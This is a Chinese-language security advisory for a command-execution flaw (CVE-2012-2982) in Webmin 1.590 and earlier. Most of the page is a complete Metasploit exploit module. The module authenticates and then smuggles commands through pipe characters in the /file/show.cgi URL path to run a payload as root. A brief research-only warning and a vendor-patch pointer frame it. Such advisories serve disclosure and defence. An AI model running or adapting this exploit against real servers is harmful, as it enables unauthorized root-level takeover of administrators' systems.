Webmin /file/show.cgi远程命令执行漏洞


发布日期:2012-10-10
更新日期:2012-10-24

受影响系统:
Webmin Webmin <= 1.590
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 55446
CVE ID: CVE-2012-2982

Webmin是Unix系统管理Web接口,通过任一浏览器都可设置用户账户、Apache、DNS、DNS、文件共享及其他。

Webmin 1.590及更早版本的file/show.cgi内存在安全漏洞,可允许通过身份验证的远程用户通过路径名内的无效字符执行任意命令。

<*来源:Metasploit
 
  链接:http://www.kb.cert.org/vuls/id/788478
        http://www.exploit-db.com/exploits/21851/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'          => 'Webmin /file/show.cgi Remote Command Execution',
            'Description'    => %q{
                    This module exploits an arbitrary command execution vulnerability in Webmin
                1.580. The vulnerability exists in the /file/show.cgi component and allows an
                authenticated user, with access to the File Manager Module, to execute arbitrary
                commands with root privileges. The module has been tested successfully with Webim
                1.580 over Ubuntu 10.04.
            },
            'Author'        => [
                'Unknown', # From American Information Security Group
                'juan vazquez' # Metasploit module
            ],
            'License'        => MSF_LICENSE,
            'References'    =>
                [
                    ['OSVDB', '85248'],
                    ['BID', '55446'],
                    ['CVE', '2012-2982'],
                    ['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],
                    ['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']
                ],
            'Privileged'    => true,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'      => 512,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl bash telnet',
                        }
                },
            'Platform'      => 'unix',
            'Arch'          => ARCH_CMD,
            'Targets'        => [[ 'Webim 1.580', { }]],
            'DisclosureDate' => 'Sep 06 2012',
            'DefaultTarget'  => 0))

            register_options(
                [
                    Opt::RPORT(10000),
                    OptBool.new('SSL', [true, 'Use SSL', true]),
                    OptString.new('USERNAME',  [true, 'Webmin Username']),
                    OptString.new('PASSWORD',  [true, 'Webmin Password'])
                ], self.class)
    end

    def check

        peer = "#{rhost}:#{rport}"

        print_status("#{peer} - Attempting to login...")

        data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

        res = send_request_cgi(
            {
                'method'  => 'POST',
                'uri'    => "/session_login.cgi",
                'cookie'  => "testing=1",
                'data'    => data
            }, 25)

        if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
            print_good "#{peer} - Authentication successful"
            session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
        else
            print_error "#{peer} - Authentication failed"
            return Exploit::CheckCode::Unknown
        end

        print_status("#{peer} - Attempting to execute...")

        command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"

        res = send_request_cgi(
            {
                'uri'    => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
                'cookie'  => "sid=#{session}"
            }, 25)


        if res and res.code == 200 and res.message =~ /Document follows/
            return Exploit::CheckCode::Appears
        else
            return Exploit::CheckCode::Safe
        end

    end

    def exploit

        peer = "#{rhost}:#{rport}"

        print_status("#{peer} - Attempting to login...")

        data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

        res = send_request_cgi(
            {
                'method'  => 'POST',
                'uri'    => "/session_login.cgi",
                'cookie'  => "testing=1",
                'data'    => data
            }, 25)

        if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
            session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
            if session and not session.empty?
                print_good "#{peer} - Authentication successfully"
            else
                print_error "#{peer} - Authentication failed"
                return
            end
            print_good "#{peer} - Authentication successfully"
        else
            print_error "#{peer} - Authentication failed"
            return
        end

        print_status("#{peer} - Attempting to execute the payload...")

        command = payload.encoded

        res = send_request_cgi(
            {
                'uri'    => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
                'cookie'  => "sid=#{session}"
            }, 25)


        if res and res.code == 200 and res.message =~ /Document follows/
            print_good "#{peer} - Payload executed successfully"
        else
            print_error "#{peer} - Error executing the payload"
            return
        end

    end

end

建议:
--------------------------------------------------------------------------------
厂商补丁:

Webmin
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.webmin.com/webmin/

相关内容